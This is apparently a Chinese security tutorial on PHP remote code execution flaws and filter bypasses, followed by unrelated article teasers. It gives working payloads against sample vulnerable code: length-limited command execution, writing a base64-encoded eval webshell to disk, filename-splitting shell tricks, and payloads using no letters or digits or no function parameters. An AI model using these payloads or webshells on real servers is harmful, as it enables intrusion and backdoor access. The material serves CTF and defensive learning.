RCE漏洞及绕过
目录
1、RCE概述
(1)命令执行函数
(2)代码执行函数
2、回调后门
3、eval和assert
限制字符长度绕过
(1)反引号或exec
(2)file_put_contents写入文件
(3)回调后门+变长参数
(4)拼接文件名
无字母数字绕过
(1)取反码
(2)临时文件
无参数读文件和RCE
(1)Apache
(2)Nginx
1、RCE概述
RCE漏洞:远程代码执行和远程命令执行
在很多Web应用中,开发人员会使用一些特殊函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时,就产生了RCE漏洞。
(1)命令执行函数
system(), passthru() -->可以直接输出结果
exec(), shell_exec() -->需要echo打印结果
(2)代码执行函数
eval(), assert() -->执行php代码
call_user_func(), call_user_func_array() -->回调函数
2、回调后门
有回调函数作为参数的函数 -->回调后门
call_user_func() , call_user_func_array() , array_filter() 等等
3、eval和assert
eval在php中是动态执行的方法,不能通过$_GET和$_POST来动态传递进行执行
assert是php的函数,可以动态传递进行执行
例:如有回调后门如下
call_user_func('assert',$_REQUEST['pass']);
我们在用蚁剑进行连接的时候,如果这样:
?pass=$_POST[123]
这样连接会失败,要在前面加上eval,
这样才能连接成功
限制字符长度绕过
<?php
$param = $_REQUEST['param'];
if (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false)
{eval($param);
}
(1)反引号或exec
?param=echo%20`$_GET[1]`;&1=whoami?param=exec($_GET[1]);&1=whoami
(2)file_put_contents写入文件
将一句话木马进行base64编码后一个一个写入文件
为什么必须编码?
因为像< 这些特殊符号,不能直接写入
?1=file_put_contents¶m=$_GET[1](N,P,8);
?1=file_put_contents¶m=$_GET[1](N,D,8);
...
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
(3)回调后门+变长参数
usort(...$_GET)
usort —> 使用用户自定义的比较函数对数组中的值进行排序
用BurpSuit抓包,修改post和get值
(4)拼接文件名
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 )
{echo shell_exec($param);
}
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
因为长度限制,将上面一句命令拆分开,通过常见文件的方式绕过
最后再用ls -t 以创建时间的列出当前文件夹下所有文件,就拼接回去了
注意:每一个文件名后面都要加上\,因为文件名都是以换行符结尾,在ls -t列出文件的时候,\起到转义换行符的作用
无字母数字绕过
<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}
(1)取反码
php7中,支持这样执行函数:('phpinfo')();
payload:
(~%8F%97%8F%96%91%99%90)();
将 phpinfo取反 : ~phpinfo -->urlcode编码 :%8F%97%8F%96%91%99%90
payload再次取反,就复原了,成功绕过
(2)临时文件
php上传文件机制:
第一步:将本地的文件上传到服务器的临时目录 /tmp
第二步:将上传的文件从临时目录移动到指定的目录中,再删除临时文件
思路:
(1)上传一个shell文件(虽然上传不成功,但是代码没执行完毕临时文件不会删除),将要执行的代码写入文件
(2)再通过get传参传入命令,执行临时文件
阻碍:
1、 上传的临时文件没有x执行权限, --> . phpasgdfK (点加空格加文件名执行)
2、 不知道临时文件名,为随机生成的
临时文件名特征:随机文件名为: phpxxxxxx ,但最后一个位大多是大写字母,只有少数部分位小写字母和数字
大写字母ASCII范围是: @-[
Linux glob 通配符:? 匹配任意一个字符,* 匹配任意多个字符
payload:
?code=?><?=`.+/???/????????[@-[]`;?>
无参数读文件和RCE
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']))
{ eval($_GET['code']);
}
?>
上面正则只能匹配函数,不能有参数,但是可以嵌套函数 --> a(b(c()))
(1)Apache
apache有getallheaders()函数,获取所有header
code=eval(next(getallheaders()));user-agent:phpinfo();
用BurpSuit抓包,修改header内容,将要执行的命令写入头部
(2)Nginx
找到flag文件
1、print_r(scandir('.'));
但是不能有 . 这个参数,所以找到输出 . d 的函数
(1)print_r(scandir(current(localeconv()))); --pos是current的别名,也可以(2)chr(46) 是字符 .chr(current(localtime(time())));
2、print_r(scandir('绝对路径'));
print_r(scandir(getcwd()));
读flag文件
show_source(array_rand(array_flip(scandir(getcwd()))));
array_flip()是交换数组的键和值,array_rand()是随机返回一个数组
相关文章:

RCE漏洞及绕过
目录 1、RCE概述 (1)命令执行函数 (2)代码执行函数 2、回调后门 3、eval和assert 限制字符长度绕过 (1)反引号或exec (2)file_put_contents写入文件 (3ÿ…...

非对称加密算法-ECDHE
目录 1. ECDHE算法简介 密钥交换算法的重要性 ECDHE算法的基本原理 2. ECDHE与RSA算法的比较 RSA算法 ECDHE算法 比较 图形结合 2. HTTPS中的密钥交换 RSA算法的局限性 前向安全性的概念 图形结合 3. 离散对数问题 离散对数的定义 离散对数在密码学中的应用 图…...
10分钟学会Docker的安装和使用
前言 在现代软件开发中,Docker作为一种轻量级的容器化技术,已成为开发者必备的工具之一。本文将带您在10分钟内快速掌握Docker的安装和基本使用方法。 1. Docker是什么? Docker是一种开源的容器化平台,它通过将应用程序及其所有…...

江科大/江协科技 STM32学习笔记P20
文章目录 编码器接口测速定时器有关的库函数Encoder.cmain.c 编码器接口测速 编码器接口的初始化,第一步,RCC开启时钟,开启GPIO和定时器的时钟,第二步,配置GPIO,这里把PA6和PA7配置成输入模式,第…...

CSS 实现两边固定宽,中间自适应
0. **Flexbox 实现**: css复制代码.container { display: flex; } .fixed { width: 200px; /* 两边固定宽度 */ } .flexible { flex: 1; /* 中间自适应 */ } html复制代码<div class…...

C#图片批量下载Demo
目录 效果 项目 代码 下载 效果 C#图片批量下载 项目 代码 using Aspose.Cells; using NLog; using System; using System.Collections.Generic; using System.Data; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.…...

部署Springboot + Vue 项目到远程服务器Windows10系统的详细配置
远程服务器操作系统为Windows系统,Java程序环境,Maven环境都安装有,Mysql ,Redis等都有的前提下 1. mysql数据库导入,非常简单很好操作,这里省略。。比如用HeidiSql 或者Navicat 工具导入数据库 2. 后端javaSpringb…...

智驭灌区,科技领航—— 高效灌区信息化系统管理平台
在水资源日益珍贵的今天,传统灌区的粗放式管理模式已难以满足现代农业的发展需求。我们自豪地推出——灌区信息化系统管理平台,以科技赋能水利,引领灌溉管理进入智能化、精细化新时代。 【智能决策,精准灌溉】 告别传统灌溉的盲目…...

下载免费设计素材,有这7个网站就够了
7个免费设计素材网站,这些网站提供了大量的免费资源,包括图片、字体、图标、模板等,涵盖了多种风格和主题,能够满足不同设计师和创作者的需求。无论是用于个人项目还是商业用途,这些网站都能给你提供丰富的选择&#x…...

【漏洞复现】某赛通数据泄露防护(DLP)系统 NetSecConfigAjax SQL注入漏洞
0x01 产品简介 某赛通新一代数据泄露防护系统(简称 DLP),以服务企事业单位进行数据资产梳理、数据安全防护为目标。系统采用平台化管理,将终端DLP、网络DLP、邮件DLP、存储扫描DLP、API 接口DLP 进行统一管理,模块化控…...
c++中的仿函数
目录 什么是仿函数? 仿函数的定义与使用 仿函数与普通函数的比较 实际应用场景 总结 当谈论到 C 编程中的灵活性和效率时,仿函数(Functor)是一个重要的概念。它不仅可以提供比普通函数更多的功能,还能够在很多情况…...

springboot整合mybatis-plus和pagehelper插件报错,
在springboot和myabtisplus版本没有冲突的情况下,MybatisPlusAutoConfiguration配置类没有生效,查看该类发现存在生效条件,即: 1.必须存在数据源的Bean对象 2.必须存在SqlSessionFactory和SqlSessionFactoryBean类(这…...

趋动科技荣登「AIGC赋能金融创新引领者TOP20」
2023年11月28日,“极新AIGC行业峰会”在北京召开,峰会以“AI落地”为指引,探究AI实践与产业化。 从制造业到金融服务业,从医疗保健到交通运输,从文化娱乐到消费零售,智能客服、数字人直播、智能巡检机器人&…...

SOPHGO算能科技BM1684盒子占用空间满的问题解决
目录 1 问题由来 2 问题排查与解决 1 问题由来 安装软件的时候发现,软件根本安装不上了,用df -h看到根目录已经满了 rootbm1684:~# df -h Filesystem Size Used Avail Use% Mounted on overlay 5.8G 5.7G 0 100% / devtmpfs …...

Spring Boot实用小技巧 - - 第523篇
《国内最全的Spring Boot系列之一》 《国内最全的Spring Boot系列之二》 《国内最全的Spring Boot系列之三》 《国内最全的Spring Boot系列之四》 《国内最全的Spring Boot系列之五》 《国内最全的Spring Boot系列之六》 《国内最全的Spring Boot系列之七》 Spring的Sma…...
安卓App开发 篇二:Android UI和布局
文章目录 系列文章Jetpack Compose基本语法可组合函数预览布局元素基于槽位(slot-based)的布局横屏处理实现布局设计布局检查器工具Material Design使用字符串等资源列表和动画LazyColumn 和 LazyRowremember 和 mutableStateOf事件mutableStateOfremember局部更新组件(官方…...

k8s基本介绍
Kubernetes, also known as K8s, is an open source system for automating deployment, scaling, and management of containerized applications. Kubernetes,也称为k8,是一个用于自动化部署、扩展和管理容器化应用程序的开源系统。 使用go语言编写ht…...
go http启动应用程序
udpserver udpserver 是go程序需要启动的程序 #include <iostream> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <thread>const int BUFFER_SIZE 1024;int udpSocket; struct …...

Redis:概念、部署、配置、优化
目录 关系型数据库与非关系型数据库 关系型数据库 非关系型数据库 非关系型数据库存在的原因 Redis 概念 优点 Redis部署流程 初步设置 安装 初始化 初始化时指定的参数说明 Redis配置文件 修改监听地址 Redis远程连接 远程连接 测试服务端状态 redis-benchm…...
华为OD-D卷找座位
在一个大型体育场内举办了一场大型活动,由于疫情防控的需要,要求每位观众的必须间隔至少一个空位才允许落座。现在给出一排观众座位分布图,座位中存在已落座的观众,请计算出,在不移动现有观众座位的情况下,…...

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析
1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具,该工具基于TUN接口实现其功能,利用反向TCP/TLS连接建立一条隐蔽的通信信道,支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式,适应复杂网…...
HTML 语义化
目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案: 语义化标签: <header>:页头<nav>:导航<main>:主要内容<article>&#x…...
椭圆曲线密码学(ECC)
一、ECC算法概述 椭圆曲线密码学(Elliptic Curve Cryptography)是基于椭圆曲线数学理论的公钥密码系统,由Neal Koblitz和Victor Miller在1985年独立提出。相比RSA,ECC在相同安全强度下密钥更短(256位ECC ≈ 3072位RSA…...

解决Ubuntu22.04 VMware失败的问题 ubuntu入门之二十八
现象1 打开VMware失败 Ubuntu升级之后打开VMware上报需要安装vmmon和vmnet,点击确认后如下提示 最终上报fail 解决方法 内核升级导致,需要在新内核下重新下载编译安装 查看版本 $ vmware -v VMware Workstation 17.5.1 build-23298084$ lsb_release…...
【解密LSTM、GRU如何解决传统RNN梯度消失问题】
解密LSTM与GRU:如何让RNN变得更聪明? 在深度学习的世界里,循环神经网络(RNN)以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而,传统RNN存在的一个严重问题——梯度消失&#…...

BCS 2025|百度副总裁陈洋:智能体在安全领域的应用实践
6月5日,2025全球数字经济大会数字安全主论坛暨北京网络安全大会在国家会议中心隆重开幕。百度副总裁陈洋受邀出席,并作《智能体在安全领域的应用实践》主题演讲,分享了在智能体在安全领域的突破性实践。他指出,百度通过将安全能力…...
CMake控制VS2022项目文件分组
我们可以通过 CMake 控制源文件的组织结构,使它们在 VS 解决方案资源管理器中以“组”(Filter)的形式进行分类展示。 🎯 目标 通过 CMake 脚本将 .cpp、.h 等源文件分组显示在 Visual Studio 2022 的解决方案资源管理器中。 ✅ 支持的方法汇总(共4种) 方法描述是否推荐…...

毫米波雷达基础理论(3D+4D)
3D、4D毫米波雷达基础知识及厂商选型 PreView : https://mp.weixin.qq.com/s/bQkju4r6med7I3TBGJI_bQ 1. FMCW毫米波雷达基础知识 主要参考博文: 一文入门汽车毫米波雷达基本原理 :https://mp.weixin.qq.com/s/_EN7A5lKcz2Eh8dLnjE19w 毫米波雷达基础…...

抽象类和接口(全)
一、抽象类 1.概念:如果⼀个类中没有包含⾜够的信息来描绘⼀个具体的对象,这样的类就是抽象类。 像是没有实际⼯作的⽅法,我们可以把它设计成⼀个抽象⽅法,包含抽象⽅法的类我们称为抽象类。 2.语法 在Java中,⼀个类如果被 abs…...

nnUNet V2修改网络——暴力替换网络为UNet++
更换前,要用nnUNet V2跑通所用数据集,证明nnUNet V2、数据集、运行环境等没有问题 阅读nnU-Net V2 的 U-Net结构,初步了解要修改的网络,知己知彼,修改起来才能游刃有余。 U-Net存在两个局限,一是网络的最佳深度因应用场景而异,这取决于任务的难度和可用于训练的标注数…...